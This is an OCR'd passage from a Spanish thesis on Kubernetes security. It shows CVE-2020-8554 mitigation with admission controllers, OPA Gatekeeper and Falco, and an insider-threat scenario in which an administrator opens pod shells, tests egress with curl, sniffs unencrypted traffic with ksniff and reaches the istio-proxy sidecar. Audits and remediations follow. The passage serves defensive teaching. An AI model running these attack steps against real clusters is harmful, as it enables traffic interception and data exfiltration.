Como era de esperar en un cluster vulnerable a CVE-2020-8554, ambos servicios pueden
ser desplegados sin problema (ver Figura 78).

ryuzakyl@matrix:~% kubectl get svc
NAME TYPE

ClusterIP
ClusterIP
ClusterIP

PORT(S)
80/TCP
80/TCP
443 /TCP

CLUSTER-IP
10.96.126.49
16.96.185.73
10.96.0.1

EXTERNAL-IP
203.0.113.0
1.1.1.1
<none>

allowed-external-ip
disallowed-external-ip
kubernetes

Figura 78. Servicios con externallP desplegados correctamente.

11.3.4.4. Remediacion y Mitigacion

Dado que estamos en presencia de una vulnerabilidad producto de una falla en el disefio,
no existe ningun parche ni correccion para la misma. El Unico enfoque posible para lidiar



con la vulnerabilidad CVE-2020-8554 que pueden tomar los administradores de Kubernetes
es llevar a cabo estrategias de mitigacién adecuadas.
El vector de ataque utilizado en este escenario puede ser mitigado, de manera general,
mediante la restriccion sobre los permisos de creacion y edicion de servicios (los cuales no
son cominmente concedidos). De manera mas detallada, dichas estrategias se listan a
continuacién (ver el compendio de medidas en el Capitulo 10):
e Valorar el uso de funcionalidades en estado beta o alpha (riesgos vs. beneficios) y
en caso de dudas, restringir su uso (KUBE_INFR_04).
e Recibir alertas de actualizaciones de seguridad y reportar vulnerabilidades
(KUBE_INFR_07).
e Restriccion del uso de IPs externas en los servicios de tipo clusterIP:
o Utilizar Admission Controllers para restringir el uso de IPs externas no
deseadas (KUBE_INFR_01d).
o Utilizar OPA Gatekeeper para restringir el uso de IPs externas no deseadas
(KUBE_INFR_O1e).
o Habilitar Audit Logs y proteccion en tiempo de ejecucion para restringir el uso
de IPs externas no deseadas (RNTM_IPS_01, RNTM_OBSV_02).
Respecto a las medidas sobre el uso de funcionalidades beta o alpha y atencién frente a
alertas de actualizaciones de seguridad y reportes de vulnerabilidades, los administradores
pueden unirse al grupo kubernetes-announce [352] para recibir emails sobre anuncios de
seguridad o revisar la pagina de la documentacion de Kubernetes dedicada a la seguridad
[459].
La restriccion del uso de IPs externas en cada una de sus variantes se aborda en detalle a
continuacion.

Admission Controllers
Para habilitar los controladores de admisién y realizar la configuracion para asi mitigar los

posibles problemas de CVE-2020-8554, se pueden seguir las instrucciones basadas en el
tutorial [460] a continuacion.

# crear el cluster de KinD

$ kind create cluster --name tfm-k8s --config
material-adjunto/attack-scenarios/@3-man-in-the-middle-via-cve-2020-8554
/kind/admission-controllers-cluster-config.yaml

$ kubectl config set-context kind-tfm-k8s

# desplegar cert manager y crear un namespace requerido

$ kubectl apply -f
https://github.com/jetstack/cert-manager/releases/download/v1l.1.1/cert-m
anager.yaml

$ kubectl create ns cattle-externalip-system

# desplegar los Admission Controllers configurados para solo permitir

203.0.113.0 como IP externa

$ helm install rancher-external-ip-webhook \
rancher-chart/rancher-external-ip-webhook \



--namespace cattle-externalip-system \
--set allowedExternalIPCidrs="203.0.113.0/32"

# verificar que todo esté en orden
$ kubectl --namespace=cattle-externalip-system get pods -1
"app=rancher-external-ip-webhook,release=rancher-external-ip-webhook"

En la Figura 79, se puede observar el estado esperado del cluster configurado para emplear
los controladores de admision para mitigar CVE-2020-8554.

Every 2,0s: kubectl get pod -n cert-manager

NAME READY  STATUS RESTARTS  AGE

cert-manager-68ff46b886-dxz6k 1/1 Running @ 3ml5s
cert-manager-cainjector-7cdbb9c945-rzx9s  1/1 Running @ 3m15s
cert-manager-webhook-58d45d56b8-nghws 1/1 Running @ 3ml5s

Every 2,0s: kubectl --namespace=cattle-externalip-system get pods -1 app=rancher-external-ip-webhook, release=rancher-external-ip-webhook

NAME READY  STATUS RESTARTS  AGE
rancher-external-ip-webhook-9587975c-25mlk  1/1 Running @ 2m30s

Figura 79. Estado del cluster con Admission Controllers configurados.

OPA/Gatekeeper

En lugar de un controlador de admision dedicado como hemos visto anteriormente, es
posible el uso de OPA/Gatekeeper para permitir solamente las IPs externas especificas
pertenecientes a la organizacion como se muestra a continuacion.

# crear el cluster de KinD

$ kind create cluster --name tfm-k8s --config
material-adjunto/attack-scenarios/03-man-in-the-middle-via-cve-2020-8554
/kind/secured-cluster-config.yaml

$ kubectl config set-context kind-tfm-k8s

# desplegar OPA Gatekeeper y crear el template y constraint deseados

$ kubectl apply -f
https://raw.githubusercontent.com/open-policy-agent/gatekeeper/master/de
ploy/gatekeeper.yaml

# crear el template para un constraint limitando las IPs externas

$ kubectl apply -f
material-adjunto/attack-scenarios/@03-man-in-the-middle-via-cve-2020-8554
/opa-gatekeeper/template.yaml

# crear el constraint basado en el template para solo permitir
203.0.113.0 como IP externa

$ kubectl apply -f
material-adjunto/attack-scenarios/03-man-in-the-middle-via-cve-2020-8554
/opa-gatekeeper/constraint.yaml



En la Figura 80, se puede observar el estado del cluster empleando OPA/Gatekeeper para
mitigar la vulnerabilidad CVE-2020-8554.

Every 2,0s: kubectl get pod -n gatekeeper-system

NAME STATUS RESTARTS  AGE
er-audit-c44t7c819-kqdsb ' Running °] 3mlds
3 -55T69b8b5d-f8zsf / Running © 3ml3s
5f69b8b5d-ms5s4 / Running @ 3ml3s
-55f69b8b5d-z rw76 Running © 3ml4s

Every 2,0s: kubectl get crd

NAME CREATED AT
configs.config.gatekeeper. 2021-87-24T15:43:
constraintpodstatu 2021-07-24T15
. d ; 2021-07-24T15
t es. 2021-07-24T15
k8sexternalips.constraints.gatekeeper. 2021-07-24T15:

Figura 80. Estado del cluster con OPA/Gatekeeper configurado.

Audit Logs y proteccion en tiempo de ejecucién (Falco)

Finalmente, la estrategia de habilitar los Audit Logs y algun tipo de proteccién en tiempo de
ejecucion representa una estrategia complementaria a las anteriores, ya que puede ser
combinada con cualquiera de éstas.

Existen diversas plataformas que realizan auditorias y que permiten la proteccién en tiempo
de ejecucibn como Calico Enterprise [461], NeuVector Run-Time Container Security
Platform [462], Sysdig Secure [463], entre otras. No obstante, por temas de costos y con el
propésito de mostrar en detalles el proceso de mitigacion, se implantard una solucién
manual.

La solucion propuesta estara basada en Falco, el cual puede ser configurado para procesar
eventos de syscalls y de Audit Logs de Kubernetes. Las instrucciones necesarias para su
implantaciéon se muestran a continuacion.

# creando el cluster de KinD

$ kind create cluster --name tfm-k8s --config
material-adjunto/attack-scenarios/@3-man-in-the-middle-via-cve-2020-855/
kind/falco-cluster-config.yaml

$ kubectl config set-context kind-tfm-k8s

# instalando Falco con reglas para detectar un exploit a CVE-2020-8554
$ helm repo add falcosecurity https://falcosecurity.github.io/charts
$ helm repo update
$ cd
material-adjunto/attack-scenarios/@3-man-in-the-middle-via-cve-2020-8554
/falco
$ rules2helm cve-2020-8554-rules.yaml > cve-2020-8554-helm-rules.yaml
$ helm install falco \
-f cve-2020-8554-helm-rules.yaml \
falcosecurity/falco



El estado inicial del cluster con esta configuracién se puede observar en la Figura 81. Una
vez ejecutadas las instrucciones iniciales, se procede a cambiar la configuracién inicial de
kube-apiserver para utilizar Falco como backend para los Audit Logs de Kubernetes. Los
pasos finales para completar la configuracion se listan a continuacion?.

# configuracion para utilizar Falco como backend para los Audit Logs.

$ nano /tmp/audit/falco-kube-config

# cambiar la secciodn de http://<pod-ip>:8765/k8s-audit por el IP del pod
que recibira los eventos

# cambiar la configuracioén del kube-apiserver para soportar Falco como
backend de los eventos de Audit Logs del cluster

# una vez realizados los cambios indicados kube-apiserver se reiniciara
automaticamente

$ nano /tmp/kubernetes/manifests/kube-apiserver.yaml

# eliminar el flag:
# - --audit-log-path=/tmp/audit/audit.log

# anadir el flag:
# - --audit-webhook-config-file=/tmp/audit/falco-kube-config

Every 2,0s: kubectl get pod -o wide

NAME READY  STATUS RESTARTS  AGE IpP NODE NOMINATED NODE  READINESS GATES
falco-7xwsz  1/1 Running @ 4m35s  10.244.2. tfm-k8s-worker2

1/1 Running © 4m35s " tfm-k8s-worker

1/1 Running © 4m35s .5 tfm-k8s-control-plane

-rw-r--r-- 1 1000 1008 31718248 Jul 24 18:11
root@tfm-k8s-control-pla /# 1L /tmp/audit | grep audit.log

-- 1 1000 1eee 3 9 Jul 24 18:11
root@tfm-k8s-control-plane:

Every 2,0s5: kubectl get pod -o wide

NAME READY  STATUS RESTARTS  AGE NODE NOMINATED NODE
2

falco-7xwsz 1/1 Running 37m 0.244.2. tfm-k8s-worker2 <none>
falco-ctmfx 1/1 Running 37m 0 " tfm-k8s-worker <none>
falco-gn2sk  1/1 Running 0 8.5 tfm-k8s-control-plane <none>

root@tfm-k8s-control-plane: /# head /tmp/audit/falco-kube-config

1:2379
certificat -
tc/kuberne

control-plane:/# [

Figura 82. Estado final del cluster en la configuracién de Falco.

2 Los ficheros de configuracibn mencionados se encuentran en la carpeta
material-adjunto/attack-scenarios/03-man-in-the-middle-via-cve-2020-8554/falco/audit



En la Figura 82, se puede observar el estado final del cluster después de la configuracion y
despliegue de Falco para lidiar con CVE-2020-8554.

11.3.4.5. Auditoria post-mitigacion

Para verificar que las estrategias de mitigacion han tenido el efecto indicado, se procede a
intentar desplegar los mismos servicios utilizados anteriormente.

Admission Controllers
Como se puede observar en la Figura 83, no es posible la creacién de un servicio de tipo
clusterIP donde la IP externa no se encuentre en la lista especificada en la configuracion

hecha por los administradores.

Every 2,0s: kubectl get svc Every 2,0s: kubectl get crd

NAME TYPE CLUSTER-IP  EXTERNAL-IP  PORT(S) AGE NAME CREATED AT
allowed-external-ip ClusterIP 10.96.2.94 .0 80/TCP 205 certificaterequests.cert-manager.io  2021-87-24T1
kubernetes ClusterIP  10.96.0.1 443/TCP Tm39s

2021-07-24T1!
orders.acme.cert-manager.io 2021-87-24T19:4

$ kubectl apply -f admission-controllers/externalip-webhook/example allowed.yaml
service/allowed-external-ip created

$ kubectl apply -f admission-controllers/externalip-webhook/example_disallowed.yaml
Error from server (spec rnallPs: Invalid value: "1.1 xternalIP specified is not allowed to usel: error when creating "admission-controllers/externalip-webhook
/example_disallowed.yaml": admission webhook "rancher-external-ip-webhook.cattle-externalip-system.svc" denied the request: spec.externalIPs: Invalid value: "1.1.1.1": e
xternalIP specified is not allowed to use

s1

Figura 83. Mitigaciéon de CVE-2020-8554 mediante Admission Controllers.

OPA/Gatekeeper
Al igual que en el caso anterior, fue posible restringir la creacion de servicios con IPs
externas extrafias permitiendo asi mitigar los exploits a la vulnerabilidad CVE-2020-8554

(ver Figura 84).

Every 2,05: kubectl get svc Every 2,0s5: kubectl get crd

TYPE IP 3, AL- PORT(S) AGE NAME CREATED AT
al-ip ClusterIP 0. 0.129 : .0 80/TCP 25s configs.config.g; 2021-07-24T19
ClusterIP 0. 443/TCP  4m54s constraintpodsta atekeeper.sh 2021-07-24T.
constrainttemplatepodstatus tatus.gatekeeper. 2021-07-24T19
constrainttemplates.templat < 2021-07-24T19
k8sexternalips.constraints.gat 2021-07-24T19

$ kubectl apply -f opa rnal-ip/samples/allowed-ip/
constraint.yaml example allowed.yaml example disallowed.yaml
$ kubectl apply -f opa rnal-ip/samples/allowed-ip/example_allowed.yaml

service/allowed-external-ip created

3 y 5 $ kubectl applv -f opa/external-ip/samples/allowed-ip/example disallowed.vaml
Error from server ([external-ips] service has forbidden external IPs: {"1.1.1.1"}): error when creating "opa/external-ip/samples/allowed-ip/example disallowed.yaml": adm
ission webhook "walidation.gatekeeper.sh" denied the reg xternal- er\ has forbidden external IPs: {"1.1.1.1"}

Figura 84. Mitigacion de CVE-2020-8554 mediante OPA Gatekeeper.

Audit Logs y proteccién en tiempo de ejecucién (Falco)

Mediante esta estrategia, Falco es capaz de generar una alerta cada vez que un servicio de
tipo clusterIP con una IP externa no confiable es creado (ver Figura 85). Dichas alertas de
Falco pueden ser monitoreadas, enviadas a SIEMs y/o analizadas por el equipo de
seguridad.



: kubectl get svc matrix: Sat Jul 24 21:28:58 2021

TYPE CLUSTER-IP EXTERNAL-IP  PORT(S)
rnal-ip ClusterIP 10.96.16.245 203.0.113.80  88/TCP
xternal-ip ClusterIP  10.96.152.166 1.1.1.1 80/TCP

ClusterIP 10.96.0.1 <none> 443/TCP

-admin service=allowed-external-ip ns=default operat
","port”:8@, "protocol” g
) ClusterIl e -admin service=disallewed-external-ip ns=default ope

:"http”,”purt”:é@,”prétucul”:"T

Figura 85. Mitigacion de CVE-2020-8554 mediante Falco.

11.3.4.6. Andlisis de los resultados

Como se pudo observar, todas las estrategias propuestas fueron eficaces en la mitigacion
de la vulnerabilidad CVE-2020-8554. Es importante resaltar que dichas estrategias son, en
efecto, complementarias y por tanto pueden ser combinadas para fortalecer la seguridad del
cluster. Cabe destacar que, en el caso de la estrategia de proteccion en tiempo de ejecucion
permite la notificacién de incidencias en caso de ocurrencia de estos eventos, lo cual resulta
de vital importancia en un andlisis forense para asi eliminar la ruta de acceso utilizada por el
atacante.

11.3.5. Amenazas internas (administrador malicioso)

11.3.5.1. Contexto y objetivos

El escenario de ataque consta de un cluster ordinario de Kubernetes que esta basado en un
tutorial de RedHat [464]. El Deployment utilizado en el escenario se describe en [465], pero
se puede desplegar con las instrucciones a continuacion.

Configuracién del cluster:

# creando el cluster y algunos namespaces adicionales

$ cd
material-adjunto/attack-scenarios/05-insider-threat-without-service-mesh
$ kind create cluster --name tfm-k8s --config
kind/default-cluster-config.yaml --retain

$ kubectl config set-context kind-tfm-k8s

$ kubectl create ns tutorial

$ kubectl config set-context kind-tfm-k8s --namespace=tutorial
$ kubectl label namespace default istio-injection=enabled

$ kubectl label namespace tutorial istio-injection=enabled

# instalando Istio y los Addons (Kiali, Grafana, etc.)

$ istioctl install \

--set profile=demo \

--set meshConfig.outboundTrafficPolicy.mode=ALLOW_ANY -y
$ kubectl apply -f ${ISTIO INSTALL_ FOLDER}/samples/addons/
re-aplicando el manifiesto de Kiali
$ kubectl apply -f ${ISTIO INSTALL_ FOLDER}/samples/addons/kiali.yaml

H



# deshabilitando mTLS, lo cual es comiun en etapas de adopcidn de Istio
$ kubectl apply -f mtls/disable-mtls.yml

Configuracién del Deployment.

# navegar a la carpeta con los manifiestos

$ cd
material-adjunto/attack-scenarios/05-insider-threat-without-service-mesh
/deploymnents

# desplegando el servicio ‘customer’

$ kubectl apply -f customer/kubernetes/Deployment.yml -n tutorial

$ kubectl create -f customer/kubernetes/Service.yml -n tutorial

$ kubectl create -f customer/kubernetes/Gateway.yml -n tutorial

# desplegando el servicio ‘preference’

$ kubectl apply -f preference/kubernetes/Deployment.yml -n tutorial
$ kubectl create -f preference/kubernetes/Service.yml -n tutorial

desplegando el servicio ‘recommendations’ v1, v2, v3

kubectl apply -f recommendation/kubernetes/Deployment.yml -n tutorial
kubectl create -f recommendation/kubernetes/Service.yml -n tutorial
kubectl apply -f recommendation/kubernetes/Deployment-v2.yml -n
tutorial

$ kubectl apply -f recommendation/kubernetes/Deployment-v3.yml -n
tutorial

Y B B H

# aplicando reglas de enrutamiento (100% del trafico a v3)

$ kubectl create -f istio/destination-rule-recommendation-vi-v2-v3.yml
-n tutorial

$ kubectl create -f istio/virtual-service-recommendation-v3.yml

Trafico egress no deseado

Primeramente, el atacante puede intuir que el cluster necesita acceso a servicios externos
mediante el simple uso de la aplicacién desplegada (ver Figura 86). Como se muestra en la
figura, es posible que el servicio recommendation v3 acceda a servicios externos: en este
caso el APl worldclockapi.com.

El atacante puede, ya que tiene permisos de administracion del cluster, intentar determinar
si es posible realizar una exfiltracion de datos mediante un trafico egress no deseado. Con
los permisos de administrador, el ataque se reduce a obtener shells en pods desplegados
en la infraestructura y generar trafico hacia fuera de nuestro cluster (ver Figura 87).



$ curl $GATEWAY URL/customer
e => recommendation v3 2821-88-12T12:37+082:00 from 'recommendation-v3-5c858b8c9d-dh H

$ curl $GATEWAY URL/customer
e => recommendation v3 2021-08-12T12:38+02:80 from 'recommendation-v3-5c858b8c9d-dh : 5

I:I

$ kubectl exec -it recommendation-v3-5c858b8c9d-dhxx7 -- bash
-5 www.google.com | head -c 200
tml itemscope="" itemtype="ht

uis ut nam facilis et officia qui®,
: false

Figura 87. Trafico egress no deseado en el cluster.

Desplazamiento lateral
Como se observé anteriormente, existe una dependencia entre los servicios desplegados en
el cluster: customer => preference => recommendation v3. El atacante puede intentar
determinar si es posible realizar desplazamientos laterales a nivel de aplicacion accediendo
a servicios de una manera en que no fue concebida. En este escenario, se intentara con los
siguientes casos (ver Figura 88):
e customer => recommendation v3: no se permiten peticiones del servicio customer
al de recommendation v3.
e recommendation v3 => preference: no esta permitido el trafico desde el servicio
recommendation v3 al servicio preference.

$ kubectl exec -it customer-694668f65f-8n693 -- bash

11

$ kubectl exec -it recommendation-v3-5c858b8c9d-dhxx7 -- bash

preference => recommendation v3 2021-88-12T17:11+02:80 from "recommendation-v3-5c858b8c9d-dhxx7': 13

bash-4.4#

Figura 88. Trafico interno no deseado en el deployment.

Ataque MitM mediante sniffing de trafico

A continuacion, el atacante puede intentar realizar un ataque de tipo Man-in-the-Middle
(MitM) mediante el “sniffing” de tréfico de red, debido a los permisos de administracién que
posee. Para ello, puede hacer uso del plugin ksniff [466] para kubect/ mediante el siguiente
comando.



# uso del plugin ksniff para inspeccionar el trafico de red
$ kubectl sniff -p -n tutorial recommendation-v3-5c858b8c9d-dhxx7

Como se puede observar en la Figura 89, el trafico interno entre los servicios customer y
preference no esta cifrado, lo que permite al atacante realizar una exfiltracion de datos
sensibles para la organizacion.
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Figura 89. Trafico interno del cluster no cifrado.

Acceso a recursos por falta de AuthN y AuthZ

Como se ha observado anteriormente, ya sea debido a una mala configuracion o producto
de que el atacante/administrador ha eliminado la proteccion, el atacante puede tener acceso
a recursos sensibles (en este caso del servicio de customer) sin necesidad de procesos de
autenticacion (AuthN) ni de autorizacion (Authz).

Por una parte, el atacante puede hacer uso del sistema desde fuera de la infraestructura,
pero ademas podria modificar el estado del sistema con operaciones CRUD con efectos
colaterales (POST, PUT, PATCH, DELETE).

Ataque a la malla de servicios

Finalmente, el atacante puede atacar los componentes nativos de Kubernetes asociados a
Istio (pods, containers, etc.), pues a pesar de no tener privilegios de administracién sobre
Istio si es posible atacar dichos componentes.

El elemento elegido por el atacante es uno de las piedras angulares de Istio: el contenedor
o sidecar inyectado en cada pod desplegado. Como se observa en la Figura 90, el atacante
obtiene una shell en el contenedor istio-proxy del pod customer-<hash>-<hash> y es
capaz de utilizar herramientas como curl [375]. El atacante podria continuar con un ataque
de escalado de privilegios, pero esto ya estaria fuera del alcance de este escenario.



ix: $ kubectl exec -it customer-694668f65f-cmswd -¢ istio-proxy -- bash
ustomer-694668f65T-cmswd: /$ whoami

ustomer-694668f65f-cmswd: /$ curl -s www.google.com | head -c 200

<html itemscope="" itemtype="http://schema.org/WebPage" lang="es"><head><meta content="Google.es permite acceder a la informacin mundial
, euskara e ingl(23) Failed writing body

tomer-694668f65f-cmswd: /$ cat /etc/os-release

"Ubuntu 18.84.5 LTS"
8.04"
i/ /wew .ubuntu. com/"
/help.ubuntu. com/"
://bugs . launchpad.net/ubuntu/"
ttps://www.ubuntu.com/legal/terms-and-policies/privacy-policy"

VERSION_CODENAM
UBUNTU_CODENAME=bionic
istio-proxy@customer-694668f65f-cmswd: /$ I

Figura 90. Ataque a la malla de servicios mediante shell en istio-proxy.

11.3.5.2. Impacto en MITRE ATT&CK®

En este escenario el atacante/administrador ha sido capaz de hacer uso de los privilegios
adquiridos/otorgados para realizar diversos ataques al cluster (ver Figura 91). Es importante
resaltar que los posibles vectores de ataque en este escenario son bastante amplios y solo
se muestran en la Figura 91 (en naranja y verde) aquellos abordados en la seccién anterior.
Un aspecto a destacar es que en el escenario descrito, los ataques llevados a cabo son de
relativa facilidad, pero también de gran severidad. Por tanto, es altamente recomendable
evitar una situacion como la descrita por todos los medios posibles.
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| ! movement

Using Cloud Exec into BacKdoor Access cloud Images from a
credentials container container TESUtHCE private registry

Defense
Cvasion

Privilege
Escalation

ar container

Data destruction
logs

Privileged contain

C':i'[:]"p“;;"'iffd bash/cmd inside wet€ hostPath Cluster-admin Delete K8S Resource
ag container mount binding events Hijacking
registry
g - Kubernetes Pod/container ~ Access container Denial of
Kubeconfig file ~ New container Cranjob hostPath mount name similarity ~ service account Network mapping Service (D0S)
A . Malicious Applications Access Applications
\ﬁﬁsz:‘;ﬁg e':ﬁpﬂliﬁélg;) Admission N::;ﬁ;lg:d Currlorlec;;rrc‘::[a credentials in Kubernetes credentials in Data exfiltration
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and IP spoofing

Figura 91. Impacto del escenario 5 en MITRE ATT&CK®.

11.3.5.3. Auditoria pre-mitigacion

Al igual que en el escenario anterior, no resulta provechoso llevar a cabo las cuatro
auditorias en las areas descritas en el protocolo. Al tratarse de una amenaza interna de un
actor malintencionado, los mecanismos de auditoria se enfocaran especificamente en las
areas explotadas por el atacante.

Trafico egress no deseado
Para determinar si nuestro cluster es vulnerable a un trafico egress (north-south) no
deseado, los administradores cuentan con tres opciones:

e Inspeccidn de la configuracion de Istio desplegada.

e Realizar monitoreo de trafico egress con herramientas como Kiali [389].

e Realizar inspeccion manual del trafico de la infraestructura.



El proceso de inspeccion de la configuracion de Istio utilizada es bastante sencillo y puede
ser determinado de manera automatica. La idea es inspeccionar el ConfigMap de Istio en
busqueda del valor del campo meshConfig.outboundTrafficPolicy.mode:

# determinando el modo de la politica de trafico saliente de Istio
$ kubectl get istiooperator installed-state -n istio-system -o
jsonpath="{.spec.meshConfig.outboundTrafficPolicy.mode}"

ALLOW_ANY

En el segundo de los casos donde se tiene instalado Istio en la infraestructura, simplemente
se puede monitorear el trafico hacia fuera del cluster con Kiali (ver Figura 92). Finalmente, la
inspeccion manual del trafico puede realizarse en cualquier cluster que tenga habilitado el
uso de Ephemeral containers [467]. El andlisis se puede realizar con el plugin ksniff, el cual
se comunica con Wireshark (ver Figura 93, Figura 94 y Figura 95).

From: ecommendation
- P
% To: PassthroughCluster @
»
t-4 £ Traff; Flags Hosts
ja aager
(i m) latest (7 /'{bsts by HTTP code:
(istio-system) ~
—“’fﬁ' Code Host % Req
. Y HiL ‘ PassthroughCluster
; J L 200 worldclockapi.com 100.0
recommendation | v3
Sparkline chats cannot be shown because
the destinatioffis inaccessible.
G Kl@h sefala el trafico "egress” del
claster Se puede observar la lista de hosts
con los que se establece comunicacion
y los detalles de esas comunicaciones.
) a Q b - A -l Legend

Figura 92. Observabilidad del trafico egress del cluster en Kiali.

$ kubectl get pod -o wide
READY  STATUS RESTARTS  AGE NODE NOMINATED NODE READINESS GATES
2/2 Running @ 111s B .5 tfm-k8s-worker2
2/2 Running @ 109s 0 6 tfm-k8s-worker
2/2 Running @ 108s 0 .6  tfm-k8s-worker2
2/2 Running @ 1065 B o tfm-k8s-worker
2/2 Running @ 1065 B.244.2. tfm-k8s-worker2

ryuzakyl@matrix $ kubectl sniff -p -n tutorial recummendatiun-v3-5c858b5c9d-dh.r..r.7|

Figura 93. Emplear plugin ksniff combinado con Wireshark.



[ W ] *_ [tutorial/ mmendatio

A0 4d® WX

N ip.dst_host eq www.google.com || ip.dst_host eq jsonplaceholder.typicode.com

No. Time Source ESEE Protocol Length Info
91344 2834.126545 10. 2c jsonplaceholder. typicode.com P 66 37372 — https(443) [A
91349 2834.127012  10. oac jsonplaceholder. typicode.com TLSv1.3 84 Application Data
91351 2834.127929 16. 2. jsonplaceholder . typicode.com 60 37372 —~ https(443) [F
91355 2834.145377 16. .2. jsonplaceholder. typicode.com 68 37372 — https(443) [A
91359 2834.852477  10. 2. | www.google. com 72 56134 — http(80)] [FIN
91361 2834.875187  10. 2. Ww . google. com 72 56134 — http(88) [ACK

on wire pits), B84 bytes captured (672 bits) on interface -, id @

Protocol: http-over-tls

Source Destination Protocol Length Info

.684483 .244 .2, localhost TCP 72 43078 — 15001 [ACK] Seq=1 Ack=1 Win=64256 Len:
.684625 .244.2. localhost HTTP 212 GET /api/json/cet/now HTTP/1.1
.685417 .244 .2, worldclockapi.com HTTP 1329 GET /api/json/cet/now HTTP/1.1
.783211 .244.2, worldclockapi.com TCP 72 42970 — http(80) [ACK] Seq=2515 Ack=1389 Win=t
. 783950 .244 .2, localhost TCP 72 43078 - 15001 [ACK] Seq=141 Ack=677 Win=64128
. 784720 .244 .2, localhost HTTP 237 HTTP/1.1 200 OK text/plain

Control Protocol, Src Port: 42970 (4 ), Dst Port: http ( Seq: 1 \ck: 655, Len: 1257

Hypertext Transfer Protocol
GET /api/json/cet/now HTTP/1.1\r\n

Figura 95. Tréafico egress al host worldclockapi.com.

Desplazamiento lateral
Las estrategias y herramientas para lidiar con este tipo de ataques son descritas en detalle
en el Escenario 2, por lo que no seran tratados nuevamente en este apartado.

Ataque MitM mediante sniffing de trafico
Ante este ataque, el equipo de seguridad puede llevar a cabo dos estrategias sencillas para
determinar si es posible un ataque de tipo MitM al trafico en la capa de aplicacion:

e Inspeccioén visual de la configuracién de mTLS en Istio con Kiali.

e Combinacion de ksniff con Wireshark para detectar trafico en texto plano.
Una inspeccion visual de la configuracion de mTLS con Kiali muestra que la comunicacion
entre los servicios customer => preferences no esta cifrada en absoluto (ver Figura 96).



Dicho hallazgo se corrobora con el analisis realizado en Wireshark en la segunda de las
estrategias (ver Figura 97).

No hay indicios de que el modo Traffic Flags Hosts

©
mTLS esté habilitado 2
HTTP requests per second:
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032 100.00 000
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jateway —
em) /A ’ |\ _ ' — — —

preference vl E

0
Indicacion de que el trafico — HOK M 3xx B 4xx B 5x HBNR
entre el servicio 'customer'y @AY preference

'preference’ no esta cifrado

s @ a = x wm w

Figura 96. Comunicacion no cifrada mostrada en el diagrama de Kiali.
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Figura 97. Comunicacién no cifrada mostrada en Wireshark.

Acceso a recursos por falta de AuthN y AuthZ

Este apartado es sencillo de verificar inspeccionando las credenciales suministradas en las
peticiones hechas al servicio customer. Como se mostré con anterioridad, el atacante fue
capaz de acceder a dicho servicio sin la necesidad de proporcionar credenciales de ningun
tipo (ni en forma de token, ni en el cuerpo de la peticién).

Ataque a la malla de servicios
Existen dos mecanismos de verificacion fundamentales para auditar que puede realizar el
equipo de seguridad:

e Verificar la configuracién de Istio para determinar la imagen utilizada.

e Intentar obtener una shell en el contenedor istio-proxy.
Al consultar la configuracién del inyector de istio-proxy, se observa que el tag de la imagen
utilizada es el definido por defecto (ver Figura 98) y por tanto, vulnerable al atague visto
anteriormente. Respecto al segundo mecanismo, como se observé en la Figura 90 es
perfectamente posible obtener una shell en el contenedor istio-proxy.



ryuzakyl@matrix: % kubectl
get ¢cm -n istio-system istio-sidecar-injector -o yaml | grep \“tag\" -B3 -A3 | head
"sts": {
“servicePort": @
}

"tag": "1.18.8",
"tracer": {
"datadog”: {
"address": "$(HOST IP):8126"
ryuzakyl@matrix:

Figura 98. Tag de la imagen utilizada por defecto en Istio.

11.3.5.4. Remediacion y Mitigacién

Como se ha mencionado anteriormente, la superficie de ataque del escenario actual es
considerable. Para cada vector de ataque mostrado se describen las medidas y controles
efectivos para remediarlos o mitigarlos. A pesar de la cantidad, dichas medidas pueden ser
agrupadas en el area de proteccién en tiempo de ejecucion (ver Capitulo 10):
e Control de acceso mediante politicas de autorizacién (AuthorizationPolicy) en la
comunicacion de los servicios (RNTM_SVCM_03, RNTM_OBSV_01).
o Instalacion de herramientas para permitir la observabilidad en nuestro cluster
(Kiali, Prometheus, etc.)
Cifrado y proteccién de las comunicaciones entre componentes (RNTM_SVCM_01).
Uso de politicas de autorizacion (AuthorizationPolicy) para implantar autenticacion
(AuthN) y autorizacion (AuthZ) de las peticiones en Istio (RNTM_SVCM_04).
e Hardening de la instalacion y configuracion de la malla de servicios
(RNTM_SVCM_05).

Tréafico egress no deseado

Para gestionar temas de trafico egress (north-south) no deseado, primeramente es
necesario auditar las comunicaciones para detectar qué trafico debe ser regulado. Se
recomienda aplicar una estrategia de red de confianza cero, donde primeramente se limite
todo el trafico y luego se aplique una estrategia de whitelisting para permitir solamente el
tréfico deseado.

Para aplicar una politica de bloqueo de trafico por defecto, debemos modificar la opcién
meshConfig.outboundTrafficPolicy.mode de ALLOW_ANY a REGISTRY_ONLY [468]
como sigue.

# en caso de haber instalado Istio mediante el IstioOperator CR,
# anadir el siguiente campo a la configuraciodn
spec:
meshConfig:
outboundTrafficPolicy:
mode: REGISTRY_ONLY

# en caso de haber instalado Istio mediante el comando istioctl install,
# agregar la siguiente configuracion
$ istioctl install ... \

--set meshConfig.outboundTrafficPolicy.mode=REGISTRY_ONLY



Adicionalmente, es necesario permitir el trafico genuino hacia el sitio worldclockapi.com,
lo cual se habilita mediante un ServiceEntry de Istio:

# aplicar ServiceEntry que permite el trafico hacia worldclockapi.com

$ cd
material-adjunto/attack-scenarios/05-insider-threat-without-service-mesh
/istio/

$ kubectl apply -f service-entry-egress-worldclockapi.yml

Desplazamiento lateral

Para remediar este vector de ataque, aplicamos la estrategia de red de confianza cero de
manera similar al vector de trafico egress no deseado anterior. No obstante, el propésito en
este caso es proteger el trafico interno del cluster (east-west) a nivel de capa de aplicacion.
Para controlar la comunicacion a nivel de capa L7, se usan los AuthorizationPolicy de Istio
como se muestra a continuacion (ver Figura 99).

# aplicando politicas de control de acceso interno al cluster

$ cd
material-adjunto/attack-scenarios/@5-insider-threat-without-service-mesh
/istio/

$ kubectl apply -f authorization-policy-deny-all.yaml

$ kubectl apply -f authorization-policy-allow-customer.yaml

$ kubectl apply -f authorization-policy-allow-preference.yaml

$ kubectl apply -f authorization-policy-allow-recommendation.yaml

Pod

Customer | Recommendation ‘

istio-proxy - ( - ( istio-proxy -
| ._ | |._ _|

Figura 99. Flujo de trafico esperado para el Deployment empleado.
(Fuente: https://bit.ly/2YaJ9Cw)

Ataque MitM mediante sniffing de trafico

La estrategia de remediacion en este caso es la implantacion de mTLS para la proteccion
de la comunicacién entre los servicios de nuestra malla [469]. En este caso, afiadimos un
recurso de PeerAuthentication [470] para definir como protegera el trafico (o no) al sidecar.



# habilitar mTLS en Istio

$ cd
material-adjunto/attack-scenarios/@5-insider-threat-without-service-mesh
/mtls/

$ kubectl apply -f enable-mtls.yml

